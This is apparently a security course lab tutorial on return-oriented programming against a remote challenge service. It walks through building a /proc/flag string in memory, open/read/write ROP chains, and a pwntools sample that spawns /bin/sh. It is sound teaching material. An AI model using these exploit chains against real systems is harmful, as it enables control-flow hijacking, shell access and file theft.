Tut07: ROP against Remote Service

In Tut06-2, we have exploited the x86_64, DEP-enabled binary without explicit leaks provided.

Step 0. Understanding the remote

In the second payload, we have invoked a sequence of calls to read the flag as follows:

(assume: symlinked "anystring" -> "/proc/flag") 1) open("anystring", 0) 2) read(3, tmp, 1040) 3) write(1, tmp, 1040)

However, symbolic-linking to a file is not allowed in the remote setting which we don't have an access to. In other words, we can either find an existing /proc/flag string in the memory, or construct it ourselves.

$ nc [LAB_SERVER_IP] 10701

[Task] Before you proceed further, make sure your exploit on Tut06-2 works against this remote service! Yet it should not print out the flag as it fails to open /proc/flag)

Step 1. Constructing /proc/flag

Unfortunately, it's unlikely that neither the binary, nor libc has the /proc/flag string. However, by ROP-ing, we can construct any string we want. Let's search for a snippet of the string from the memory.

In a GDB session, try:

> search "/proc" libc-2.27.so 0x7ffff7867a1d 0x65732f636f72702f ('/proc/se') libc-2.27.so 0x7ffff78690ed 0x65732f636f72702f ('/proc/se') ... > search "flag" libc-2.27.so 0x7ffff77f29e3 insb byte ptr [rdi], dx /* 'flags' */ libc-2.27.so 0x7ffff77f54ad insb byte ptr [rdi], dx /* 'flags' */ ...

Our plan is to memcpy() these two strings to a temporary, writable memory for concatenation.

memcpy(tmp2, PTR_TO_PROC, len("/proc/")) memcpy(tmp2+len("/proc/"), PTR_TO_FLAG, len("flag"))

When determining the memcpy address in your libc library, you might notice that there are multiple memcpy()-like functions embedded in the libc library. For example, in the arch distribution, its libc provides numerous implementation of memcpy(). In fact, it is one kind of IFUNC which allows us to select an optimized version of the same function based on the hardware capability at runtime.

$ readelf -a /usr/lib/libc.so.6 | grep memcpy | grep -v wmem 1215: 0000000000090da0 193 IFUNC GLOBAL DEFAULT 16 memcpy@@GLIBC_2.14 1217: 00000000000a9280 44 FUNC GLOBAL DEFAULT 16 memcpy@GLIBC_2.2.5 1760: 000000000010d7a0 193 IFUNC GLOBAL DEFAULT 16 __memcpy_chk@@GLIBC_2.3.4 1232: 0000000000000000 0 FILE LOCAL DEFAULT ABS memcpy.c 1233: 0000000000090da0 193 IFUNC LOCAL DEFAULT 16 memcpy 1234: 0000000000090da0 193 FUNC LOCAL DEFAULT 16 __new_memcpy_ifunc 2404: 0000000000000000 0 FILE LOCAL DEFAULT ABS memcpy_chk.c 2405: 000000000010d7a0 193 FUNC LOCAL DEFAULT 16 __memcpy_chk_ifunc 3254: 00000000000a9350 13 FUNC LOCAL DEFAULT 16 __memcpy_chk_sse2_unaligned_erms 3431: 00000000000a92e0 13 FUNC LOCAL DEFAULT 16 __memcpy_chk_erms 3588: 0000000000090da0 193 IFUNC LOCAL DEFAULT 16 __new_memcpy 3637: 00000000000a92f0 49 FUNC LOCAL DEFAULT 16 __memcpy_erms 3664: 0000000000165a70 13 FUNC LOCAL DEFAULT 16 __memcpy_chk_avx_unaligned_erms 3735: 00000000000a9360 765 FUNC LOCAL DEFAULT 16 __memcpy_sse2_unaligned_erms 3739: 000000000016a7f0 13 FUNC LOCAL DEFAULT 16 __memcpy_chk_avx512_unaligned_erms 3764: 00000000001457b0 10966 FUNC LOCAL DEFAULT 16 __memcpy_ssse3_back 3981: 00000000000a9270 13 FUNC LOCAL DEFAULT 16 __memcpy_chk_sse2_unaligned 4077: 00000000001457a0 13 FUNC LOCAL DEFAULT 16 __memcpy_chk_ssse3_back 4083: 0000000000169d80 13 FUNC LOCAL DEFAULT 16 __memcpy_chk_avx512_no_vzeroupper 4411: 000000000016a800 1248 FUNC LOCAL DEFAULT 16 __memcpy_avx512_unaligned_erms 4505: 000000000016a780 13 FUNC LOCAL DEFAULT 16 __memcpy_chk_avx512_unaligned 4510: 0000000000090da0 193 IFUNC LOCAL DEFAULT 16 __GI_memcpy 4760: 0000000000140220 10695 FUNC LOCAL DEFAULT 16 __memcpy_ssse3 4909: 0000000000140210 13 FUNC LOCAL DEFAULT 16 __memcpy_chk_ssse3 5062: 00000000000a9280 44 FUNC LOCAL DEFAULT 16 __memcpy_sse2_unaligned 5124: 0000000000165a00 13 FUNC LOCAL DEFAULT 16 __memcpy_chk_avx_unaligned 5126: 000000000016a790 62 FUNC LOCAL DEFAULT 16 __memcpy_avx512_unaligned 5267: 0000000000165a80 984 FUNC LOCAL DEFAULT 16 __memcpy_avx_unaligned_erms 5298: 0000000000169d90 1855 FUNC LOCAL DEFAULT 16 __memcpy_avx512_no_vzeroupper 5774: 0000000000165a10 51 FUNC LOCAL DEFAULT 16 __memcpy_avx_unaligned 6221: 0000000000090da0 193 IFUNC GLOBAL DEFAULT 16 memcpy@@GLIBC_2.14 7240: 00000000000a9280 44 FUNC GLOBAL DEFAULT 16 memcpy@GLIBC_2.2.5 7873: 000000000010d7a0 193 IFUNC GLOBAL DEFAULT 16 __memcpy_chk

When a memcpy() is invoked in straight without using the dynamic linker, you invoke a dispatcher that checks the hardware capability and picks the best candidate for the execution. In other words, to invoke a real memcpy(), you have to invoke one of FUNC symbols (e.g., memcpy@GLIBC_2.2.5).

And your final payload would be:

1) open(tmp2, 0); // tmp2 now contains concatenated /proc/flag string 2) read(3, tmp, 1040); 3) write(1, tmp, 1040);

Perhaps, you can try prepending memcpy() calls, but you would realize that the challenge binary only accepts 256-byte user input.

[Task] Try to exploit the program once again; it is now a three-stage exploit:

  • use the leaked addresses to find the desired functions and memory
  • concatenate the /proc/flag string
  • open() + read() + write()

Can you successfully get the flag from the remote server?

Step 2. Injecting /proc/flag

In fact, there is a much easier method. As the program flow has been hijacked, we can directly inject our input (i.e., "/proc/flag") to an arbitrary memory region by simply invoking read().

read(0, tmp2, 11);

[Task] Could you tweak your exploit to accept "/proc/flag" and save it to tmp2?

Note when feeding multiple inputs to the remote service, you may want to briefly pause the exploit in between by sleep() or wait until the previous input is properly processed (e.g., using recvuntil()). Otherwise, the current payload could be read along with your earlier ones.

Another option to avoid the problem is to always send a full-sized input, which is as large as the read() size (i.e., 256-bytes in the start() of the binary), so that it forces read() to return before accepting your next input.

Tip. Using pwntools. You can also automate the ROP programming process. Take a look at the below sample, then you will have a good idea about how to utilize this.

from pwn import * context.arch = "x86_64" os.environ["XDG_CACHE_HOME"] = "./" # override pwntools's default cache_dir # to your secret tmp directory libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') libc.address = 0xdeadb000 # put the leaked libc base rop = ROP(libc) # fill the buffer rop.raw("A"*44) # system("/bin/sh") rop.system(next(libc.search('/bin/sh\x00'))) # exit(0) rop.exit(0) # get the payload payload = rop.chain()

Also, while writing an ROP chain, it's a good idea to check its payload constantly by using dump().

print(rop.dump()) 0x0000: 'AAAAAAAA' 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' 0x0008: 'AAAAAAAA' 0x0010: 'AAAAAAAA' 0x0018: 'AAAAAAAA' 0x0020: 'AAAAAAAA' 0x0028: 'AAAAaaaa' 0x0030: 0xdeafc55f pop rdi; ret 0x0038: 0xdec8f0fa [arg0] rdi = 3737710842 0x0040: 0xdeb2a4e0 system 0x0048: 0xdeafc55f pop rdi; ret 0x0050: 0x0 [arg0] rdi = 0 0x0058: 0xdeb1e1d0 exit

The ROP payload correctly constructed the chain by using the pop rdi; ret gadget in libc! If you feel ambitious, you can organize the ROP chain with a cleaner manner by using the ROP module.

Tip 1. Launching the Remote Binary

The remote environment might use different libraries (e.g., libc), so your payload relying on gadgets outside of the binary module would not work as expected. For example, if you are using a different distribution (or under different minor/major version), you have to make sure you are using the exactly same libraries first.

One simple way to avoid this problem is to copy and use the libraries from the remote server.

[remote] $ ldd target-seccomp linux-vdso.so.1 (0x00007ffdb5cba000) libseccomp.so.2 => /lib/x86_64-linux-gnu/libseccomp.so.2 (0x00007f6cc3f72000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f6cc3b81000) /lib64/ld-linux-x86-64.so.2 (0x00007f6cc41be000) $ scp lab07@[ip]:/lib/x86_64-linux-gnu/libc.so.6 . $ scp lab07@[ip]:/lib64/ld-linux-x86-64.so.2 .

By using the dynamic linker and the libc library, you can launch target-seccomp as if it runs on the remote server:

$ LD_LIBRARY_PATH=. ./ld-linux-x86-64.so.2 ./target-seccomp IOLI Crackme Level 0x00 Password: ... $ cat /proc/[pid]/maps | grep libc 7f7792d50000-7f7792f37000 r-xp 00000000 08:01 /tmp/tut07-remote/libc.so.6 7f7792f37000-7f7793137000 ---p 001e7000 08:01 /tmp/tut07-remote/libc.so.6 7f7793137000-7f779313b000 r--p 001e7000 08:01 /tmp/tut07-remote/libc.so.6 7f779313b000-7f779313d000 rw-p 001eb000 08:01 /tmp/tut07-remote/libc.so.6

With LD_LIBRARY_PATH=., you commended the linker to lookup the libraries in the current working directory when preparing ./target-seccomp for execution. As shown above, the maps indicates that libc.so.6 in the current directory is used instead of the system's libc.

In python, you can launch the program exactly same as the command line:

p = process(["./ld-linux-x86-64.so.2", "./target-seccomp"], env={"LD_LIBRARY_PATH": "."})

Note that if you are using the same distribution, the dynamic linker is unlikely needed to launch the binary.

Tip 2. Segmentation Fault in libc Functions

Recent ABI convention is changed to follow 16-byte stack alignment in all architecture, meaning that the compiler can take advantage of modern vector instructions for stack variables. If your ROP payload didn't respect that alignment, you might see such a situation below:

Program received signal SIGSEGV, Segmentation fault. 0x00007fcd188aa6ee in ?? () from ./libc.so.6 LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ──────────────────────[ REGISTERS ]────────────────────── RAX 0x7fcd18c33760 ← 0x0 RBX 0x7fcd18c38760 (_IO_2_1_stdout_) ← 0xfbad2887 RCX 0x7fcd1895c264 (write+20) ← cmp rax, -0x1000 RDX 0x7ffd9d1bd4c8 ← 0x3000000008 RDI 0x7ffd9d1bae08 ← 0xfbad8004 RSI 0x400c9c ← push rax R8 0x17 R9 0x3e8 R10 0x4 R11 0x246 R12 0xffffffff R13 0x7ffd9d1bd678 ← 0x1c R14 0x7fcd18c38760 (_IO_2_1_stdout_) ← 0xfbad2887 R15 0xfbad2887 RBP 0x7ffd9d1bd4b8 → 0x7ffd9d1bd5c8 ← 0x4141414141414141 ('AAAAAAAA') RSP 0x7ffd9d1badd8 → 0x7ffd9d1baeb9 ← 0x0 RIP 0x7fcd188aa6ee ← movaps xmmword ptr [rsp + 0x50], xmm0 ──────────────────────[ DISASM ]────────────────────── ► 0x7fcd188aa6ee movaps xmmword ptr [rsp + 0x50], xmm0 0x7fcd188aa6f3 mov qword ptr [rsp + 0x108], rax 0x7fcd188aa6fb call vfprintf <0x7fcd188a7420> ...

In this case, printf attempts to copy a variable in xmm0 to the stack but rsp = 0x7ffd9d1badd8 is 8-byte aligned at the moment (because of your exploit).

The solution is very simple: you can lift one more slot (8-byte) in the stack by inserting one nop gadget (i.e., one ret instruction) in the ROP payload!

Good luck!